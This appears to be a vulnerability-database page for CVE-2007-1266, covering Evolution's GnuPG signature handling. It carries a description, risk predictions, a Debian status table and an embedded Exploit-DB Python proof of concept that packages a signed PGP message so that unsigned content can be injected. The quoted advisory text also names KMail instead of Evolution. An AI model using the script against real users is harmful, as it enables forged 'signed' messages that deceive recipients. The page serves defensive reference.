CVE-2007-1266

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Evolution 2.8.1 and earlier does not properly use the --status-fd argument when invoking GnuPG, which prevents Evolution from visually distinguishing between signed and unsigned portions of OpenPGP messages with multiple components, which allows remote attackers to forge the contents of a message without detection.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-29691 remote linux verified python · 1 KB
Gerardo Richarte · 2007-03-05

Gnome Evolution 2.x - GnuPG Arbitrary Content Injection

python exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/22760/info

Evolution is prone to a vulnerability that may allow an attacker to add arbitrary content into a message without the end user knowing.

An attacker may be able to exploit this issue to add arbitrary content into a GnuPG signed and/or encrypted message.

This vulnerability is due to the weakness discussed in BID 22757 (GnuPG Signed Message Arbitrary Content Injection Weakness) and has been assigned its own BID because of the specific way that Evolution uses GnuPG.

This issue affects KMail versions prior to and including 2.8.1. 

#!/usr/bin/python
import os, gpg, sys, base64

clear_sign = open(sys.argv[1], "rb").read().splitlines()

start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----")
mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----")
end = clear_sign.index("-----END PGP SIGNATURE-----")

text = '\r\n'.join(clear_sign[start+3:mid])
sign = '\n'.join(clear_sign[mid+3:end-1])

onepass = gpg.OnePassSignature()
onepass['keyid'] = (0x12341234,0x12341234)
onepass['digest_algo'] = 2
onepass['pubkey_algo'] = 1
onepass['sigclass'] = 1

plain1 = gpg.Plaintext()
plain1['name'] = 'original'
plain1['data'] = text
plain1['mode'] = 0x62

signature = gpg.Raw()
signature['data'] = base64.decodestring(sign)

compressed = gpg.Compressed()
compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB
compressed['data'] = [onepass, plain1, signature]

pkt = gpg.Packet()
pkt['version'] = 1
pkt['data'] = compressed

os.write(1,str(pkt))

OS impact

debian Debian Affected 5 releases
VersionStatusFixed in
trixie Affected
sid Affected
forky Affected
bullseye Affected
bookworm Affected

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.